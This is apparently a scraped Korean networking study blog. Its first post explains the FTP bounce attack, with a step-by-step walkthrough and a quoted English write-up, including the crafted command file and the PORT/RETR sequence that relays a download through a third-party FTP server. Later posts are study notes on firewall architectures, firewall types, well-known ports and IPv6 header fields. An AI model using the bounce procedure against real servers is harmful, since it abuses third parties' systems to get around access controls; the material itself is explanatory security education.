1. FTP 바운스 공격 개요

FTP 바운스 공격( FTP bounce attack )은 FTP 프로토콜 구조의 허점을 이용한 공격 방법이다. FTP는 서버/클라이언트 구조로 이루어 져 있으며 두 호스트간의 통신을 위해 2개의 포트를 사용한다. 20번은 데이터를 전송할 때 이용하는 포트로 21번은 사용자가 ftp 클라이언트 프로그램을 이용하여 접속하고 어떤 명령을 넘겨줄 때 사용된다.

 

텔넷(telnet) 프로그램을 이용하여 ftp 접속해 보면 ftp클라이언트가 어떻게 서버와 통신하는지를 확인할 수 있다. % telnet ftp.server.hostname 21

Trying xxx.xxx.xxx.xxx

Connected to ftp.server.hostname

Escape character is '^]'.

220 ftp.server FTP server( UNIX System V Release 4.0 ) ready.

help

214-The following commands are recognized:

USER PORT RETR MSND* ALLO DELE SITE* XMKD CDUP

PASS PASV STOR MSOM* REST* CWD STAT* RMD XCUP

ACCT* TYPE APPE MSAM* RNFR XCWD HELP XRMD STOU

REIN* STRU MLFL* MRSQ* RNTO LIST NOOP PWD

QUIT MODE MAIL* MRCP* ABOR NLST MKD XPWD

214 ( *'s => unimplemented )

파일을 읽을 때 쓰는 명령은 RETR이며 저장할 때 쓰는 것은 STOR임. 접속을 끊을 때 사용하는 명령은 QUIT.

help 명령을 사용하여 ftp 프롬프트상에서 사용할 수 있는 명령의 문법을 확인할 수 있다.

help user

214 Syntax: USER <sp> username

help pass

214 Syntax: PASS <sp> password

help retr

214 Syntax: RETR <sp> file-name

help quit

214 Syntax: STOR <sp> file-name

help port

214 Syntax : PORT <sp> b0, b1, b2, b3, b4, b5

quit

221 Goodbye.

Connection closed by foreign host.

%

PORT 명령을 이용하여 서버가 자료를 보낼 목적지를 미리 알려 줄 수 있도록 할 수 있다. b0,b1,b2,b3 값은 IP주소(address)를 가지며 b4, b5값은 포트 값. 그런데 포트 값은 IP주소와는 달리 16비트 값을 이용하므로 8비트씩 나눠서10진수로 표기해야 해주어야한다. IP 주소가 aa.bb.cc.dd이고 포트 번호가 e*256 + f라면 다음과 같이 그 값을 넘겨 준다.

port aa, bb, cc, dd, e, f

 

FTP서버는 클라이언트가 지시한 곳으로 자료를 전송할 때 그 목적지가 '어떤 곳'인지는 검사하지 않는다. 그래서 FTP 클라이언트가 실행되는 호스트가 아닌 다른 호스트를 지정하더라도 서버는 충실하게 지정된 곳으로 정보를 보내게 된다. 이문제는 FTP서버의 버그가 아니라 원래 FTP 프로토콜의 설계 상에서 발생한 문제이다. 처음부터 고의로 자료를 요청하는 곳과 자료를 받는 곳이 다른곳 일수 있도록 FTP를 설계한 것이다.

결과적으로 클라이언트는 FTP서버를 거쳐 간접적으로 임의의 IP에 있는 임의의 포트에 접근할 수 있으며 또한 임의의 메시지를 보낼 수도 있게 되는 것이다.

 

2. FTP Bounce Attack 예

 

[STEP 1] 자신의 시스템에 실제 IP를 사용해서 FTP 연결을 설정한다.

# ftp 192.168.1.7

ftp> quote "pasv" -> PASV 명령으로부터 리턴되는 주소와 포트번호 F,F,F,F,X,X를 기록해 둔다.

ftp> quote "stor foobar"

#

# vi instrs

user ftp

pass -anonymous@

cwd /export-restricted-crypto

type i

port F,F,F,F,X,X <-- 앞에서 기록해둔 IP와 포트번호를 넣는다.

retr crypto.tar.Z

quit

^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

... 250 NULLS를 포함하게 한다.

 

[STEP 2]

# ftp ufred.edu <-- anonymous ftp 서버로 접속한다.

ftp> cd /incoming

ftp> put instrs

ftp> quote "port C.C.C.C.0.21"

ftp> quote "retr instrs" <-- crypto.tar.Z 파일이 foobar파일에 저장된다.

 

 

 

공격자 ------------------> 중간FTP서버 ------------------> 목적지 호스트

[STEP 1]을 자신에게              ufred.com                                        retr crypto.tar.Z

  실행한다.                              instr 파일이 upload된뒤                    하게되면 이 파일은

[STEP 2]을 중간FTP서버에     실행된다.                                          실제 공격자의 foobar

대해 실행한다.                                                                                 파일에 저장 된다.

이때 C.C.C.C는 목적지 호스트의

IP주소이다.

 

 

 

The attack
==========
This assumes you have an FTP server that does passive mode.  Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:

        quote "pasv"
        quote "stor foobar"

Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.

Construct a file containing FTP server commands.  Let's call this file
"instrs".  It will look like this:

        user ftp
        pass -anonymous@
        cwd /export-restricted-crypto
        type i
        port F,F,F,F,X,X
        retr crypto.tar.Z
        quit
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ...

F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection.  The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data.  The reason for this filler is explained later.

Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells ufred.edu's FTP server to connect to
crypto.com's FTP server using your file as the commands:

        put instrs
        quote "port C,C,C,C,0,21"
        quote "retr instrs"

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection.  If the connection to ufred.edu didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.

반응형

'Network' 카테고리의 다른 글

방화벽 구축 환경  (0) 2014.09.15
Firewall종류  (0) 2014.09.15
Well-known port  (0) 2014.09.15
IPv6  (0) 2014.09.15
SNMP  (0) 2014.09.15

1. 베스천호스트(Bastion host)

보호된 네트워크에서 유일하게 외부에 노출되는 내외부 네트워크의 연결점으로 사용되는 호스트

장점

  • 스크린라우터 방식보다 안전하다
  • 각종 로깅기능 및 정보 생성 및 관리가 용이
  • 방화벽 기능 외에는 유틸리티를 삭제한다
  • IP포워딩 및 소스 라우팅 기능이 없어야한다

단점

  • 베스천 호스트가 손상되면 내부 네트워크를 보호
  • 로그인 정보가 유출되면 내부 네트워크를 보호할 수 없다.
  • 2계층 공격을 통한 방화벽 우회공격에 취약하다.

 

 

 

2. 스크린 라우터(Screen Router)

일반적인 라우터 기능 외에 추가적으로 패킷 헤더 내용을 보고 패킷 통과여부를 결정할 수 있는 필터링 기능을 가지고 있다.

 

특징

  • 네트워크 수준의 IP데이터그램에서 출발지 주소와 목적지 주소에 의해 스크린이 가능
  • TCP/UDP 수준의 패킷에서 포트번호, 프로토콜 스크린 기능
  • 라우터에 구현된 펌웨어로는 보안 정책이 어려워 스크린 라우터와 베스천 호스트를 함께 운영

장점

  • 필터링 속도가 빠르고 비용이 적다
  • 하나의스크린 라우터로 내부 네트워크 전체를 보호할 수 있다.
  • 네트워크 계층과 트렌스포트 계층만 방어가 가능하다

단점

  • 패킷 필터링 규칙을 검증하기 어렵다
  • 패킷 내 데이터 고역을 차단하지 못한다
  • 스크린라우터 통과 또는 거절에 대한 패킷 기록을 관리하기 어렵다

    3. 듀얼 홈 게이트웨이(Dual Home GateWay)

    두개의 랜카드를 가진 베스천 호스트 구조를 말한다.

     

    장점

    • 응용 서비스 종류에 조금 더 종속적이기 때문에 스크린 라우터보다 안전하다
    • 각종기록 정보를 생성 및 관리하기 쉽다
    • 설치 및 유지보수가 쉽다

    단점

    • 게이트웨이가 손상되면 내부네트워크를 보호할 수 없다.
    • 로그인 정보가 유출 되면 내부 네트워크를 보호할 수 없다.

     

    4. 스크린 호스트 게이트웨이 방식

    이 방식은 베스천호스트와 스크린 라우터 방식이 혼합하여 구성된 방식이다.

     

    장점

    • 스크린 라우터와 베스천 호스트 두번을 거쳐야 하기 때문에 보안성이 강화된다
    • 네트워크 게층과 응용계층에서 방어하기 때문에 공격이 어렵다
    • 가장 많이 사용되는 방화벽 시스템이며 융통성이 좋다
    • 듀얼 홈게이트웨이 장점을 그대로 가진다

    단점

    • 단일포인트 장애가 났을 때 전체 네트워크가 마비되고 두번 거치기 때문에 속도 지연 발생
    • 스크린 라우터의 라우팅 테이블이 변경되면 이를 방어할 수 없다.
    • 방화벽 시스템 구축 비용이 많다.

    5. 스크린 서브넷 게이트웨이

    스크린 호스트 게이트웨이와 듀얼 홈 게이트웨이가 결합된 형태로 두개의 스크린 라우터와 베스천 호스트를 이용하여 네트워크에 스크린 서브넷이 DMZ에 놓이게 되는 방식

     

    장점

    • 다른 방화벽 구조의장점을 가지고 있으며 다계층으로 되어있어 가장강력한 보안성 제공
    • 융통성이 뛰어나다

    단점

    • 다른구조보다 설치하기 어렵고 관리하기 힘들다
    • 방화벽 구축비용이 많이든다.
    • 서비스 속도가 느리다.

    6. Fail Over를 이용한 HA 방화벽 구조 구축

    단일 포인트 장애에 대한 대책 방안으로 가용성을 확보하는 차원에서 이중화는 중요하다.

     

    반응형

    'Network' 카테고리의 다른 글

    FTP Bounce attack  (0) 2014.09.15
    Firewall종류  (0) 2014.09.15
    Well-known port  (0) 2014.09.15
    IPv6  (0) 2014.09.15
    SNMP  (0) 2014.09.15

    1. 패킷 필터링(Packet Filtering)방식
    장점

    • 다른 방식에 비해 처리속도가 빠르다
    • 하드웨어에 의존하지 않는다.
    • 기존프로그램과 연동이 쉽다.
    • 사용자에게 투명성을 제공한다
    • 1세대 방화벽에 속한다

    단점

    • TCP/IP 프로토콜의 구조적 설계로 인하여 패킷헤더의 조작이 가능하다
    • 바이러스에 감염된 파일 전송시 데이터 분석이 불가능하다
    • 접근통제 리스트와 접근통제 순서에 따라 방화벽에 부하를 줄 수 있다.
    • 2,3 세대 방화벽에 비해 로깅 기능 및 사용자 인증 기능을 제공하지 않는다.

    2. 어플리케이션 게이트 웨이 방식
    장점

    • 외부네트워크와 내부네트워크가 프록시 서버를 통해서만 연결
    • 내부 네트워크에 대한 경계선 방어 및 내부 네트워크에 대한 정보를 숨길수 있다.
    • 패킷 필터링 방화벽보다 높은 보안성 설정이 가능
    • 일회용 패스워드를 이용한 강력한 인증기능 제공
    • 각 서비스별로 프록시 데몬이 존재
    • 2세대 방화벽

    단점

    • 응용게층에서 동작하므로 네트워크에 많은 부하
    • 일부서비스에 대해 투명성을 제공하기 어렵다
    • 하드웨어에 의존적이다
    • 새로운 서비스를 제공하기 위하여 새로운 데몬이 필요

    3. 서킷게이트웨이
    장점

    • 첫 패킷 검사후 다음 패킷은 전달
    • 5계층에서 7계층 사이에서 동작
    • 각 서비스별로 프록시가 존재하지 않는다
    • 어느 어플리케이션도 이용 가능한 일반적인 프록시가 존재한다.
    • 투명한 서비스를 제공할 수 있다.

    단점

    • 수정된 클라이언트가 필요하다



    4. 하이브리드 방식

    • 패킷 필터링 방식과 어플리케이션 게이트웨이 방식을 결합한 방식
    • 선택적으로 보안설정이가능 하지만 관리상의복잡성이 단점

    5. 상태추적 방식(Statefull Inspection)

    • 패킷의 상태정보를 이용하여 관리자의 보안정책에 의해 빠르고 높은 보안성을 제공
    • 패킷의 흐름을 통제하기 위하여 패킷의 헤더 정보외에 세션정보를 활용하는 것이 특징
    반응형

    'Network' 카테고리의 다른 글

    FTP Bounce attack  (0) 2014.09.15
    방화벽 구축 환경  (0) 2014.09.15
    Well-known port  (0) 2014.09.15
    IPv6  (0) 2014.09.15
    SNMP  (0) 2014.09.15

     

     

     서비스명

    PORT번호 및 유형 

     FTP(File Transfer Protocol)

    20/TCP :Data Transfer

    21/TCP : Session,Control

     SSH(Secure Sheel)

    22/TCP :SSH,SFTP Port fowarding

     Telnet

    23/TCP : 평문통신

     SMTP(Simple Mail Transfer Protocol)

    25/TCP : Send Email

     DNS(Domain Name Service)

    53/TCP : 네임서버간 동기화

    53/UDP : DNS서비스

     DHCP(Dynamic Host Configuration Protocol)

    67/UDP : BOOTP서버, DHCP

    68/UDP : BOOTP클라이언트, DHCP

     TFTP(Trival File Transfer Protocol)

    69/UDP : 단순한 구조의 데이터 전송

     HTTP(HyperText Transfer Protocol)

    80/TCP : 웹전송

     POP3(Post Office Protocol V3)

    110/TCP : 이메일 수신

     NTP(Network Time Protocol)

    123/UDP : 시간 동기화

     NetBIOS(Network Basic Input/Output System)

    137/UDP : 호스트간 정보 확인

    138/TCP : 호스트간 세션체결

    139/TCP : 호스트간 데이터 교환

     SNMP(Simple Network Management Protocol)

    161/UDP : 에이전트에게 응답요청

    162/TCP,UDP : 에이전트가 매니저에게 비동기 TRAP 전송 

     LDAP(Lightweight Directory Access Protocol)

    389/TCP : 디렉토리서비스 조회/수정

     HTTPS(HTTP over SSL)

    443/TCP : HTTP상의 암호화 전송

     Microsoft-DS

    445/TCP : 액티브디렉토리, 자원공유

    445/UDP : SMB프린터 공유

     Syslog Protocol

    514/UDP : 시스템 로그 작성

     IMAPS(IMAP4 over TLS/SSL)

    993/TCP, UDP : IMAP4암호화

     POP3S(POP3 over TLS/SSL)

    995/TCP,UDP : POP3암호화

     

    반응형

    'Network' 카테고리의 다른 글

    방화벽 구축 환경  (0) 2014.09.15
    Firewall종류  (0) 2014.09.15
    IPv6  (0) 2014.09.15
    SNMP  (0) 2014.09.15
    UDP Header  (0) 2014.09.15

     

     

     

    Field Name

    Size (bytes)

    Description

    Version

    1/2
    (4 bits)

    Version: Identifies the version of IP used to generate the datagram. This field is used the same way as in IPv4, except of course that it carries the value 6 (0110 binary).

    Traffic Class

    1

    Traffic Class: This field replaces the Type Of Service (TOS) field in the IPv4 header. It is used not in the original way that the TOS field was defined (with Precedence, D, T and R bits) but using the new Differentiated Services (DS) method defined in RFC 2474. That RFC actually specifies quality of service (QOS) techniques for both IPv4 and IPv6; see the IPv4 format description for a bit more information.

    Flow Label

    2 1/2
    (20 bits)

    Flow Label: This large field was created to provide additional support for real-time datagram delivery and quality of service features. The concept of a flow is defined in RFC 2460 as a sequence of datagrams sent from a source device to one or more destination devices. A unique flow label is used to identify all the datagrams in a particular flow, so that routers between the source and destination all handle them the same way, to help ensure uniformity in how the datagrams in the flow are delivered. For example, if a video stream is being sent across an IP internetwork, the datagrams containing the stream could be identified with a flow label to ensure that they are delivered with minimal latency.

    Not all devices and routers may support flow label handling, and use of the field by a source device is entirely optional. Also, the field is still somewhat experimental and may be refined over time.

    Payload Length

    2

    Payload Length: This field replaces the Total Length field from the IPv4 header, but it is used differently. Rather than measuring the length of the whole datagram, it only contains the number of bytes of the payload. However, if extension headers are included, their length is counted here as well.

    In simpler terms, this field measures the length of the datagram less the 40 bytes of the main header itself.

    Next Header

    1

    Next Header: This field replaces the Protocol field and has two uses. When a datagram has extension headers, this field specifies the identity of the first extension header, which is the next header in the datagram. When a datagram has just this “main” header and no extension headers, it serves the same purpose as the old IPv4 Protocol field and has the same values, though new numbers are used for IPv6 versions of common protocols. In this case the “next header” is the header of the upper layer message the IPv6 datagram is carrying. See below for more details.

    Hop Limit

    1

    Hop Limit: This replaces the Time To Live (TTL) field in the IPv4 header; its name better reflects the way that TTL is used in modern networks (since TTL is really used to count hops, not time.)

    Source Address

    16

    Source Address: The 128-bit IP address of the originator of the datagram. As with IPv4, this is always the device that originally sent the datagram.

    Destination Address

    16

    Destination Address: The 128-bit IP address of the intended recipient of the datagram; unicast, anycast or multicast. Again, even though devices such as routers may be the intermediate targets of the datagram, this field is always for the ultimate destination.

    반응형

    'Network' 카테고리의 다른 글

    Firewall종류  (0) 2014.09.15
    Well-known port  (0) 2014.09.15
    SNMP  (0) 2014.09.15
    UDP Header  (0) 2014.09.15
    TCP Header  (0) 2014.09.15
    반응형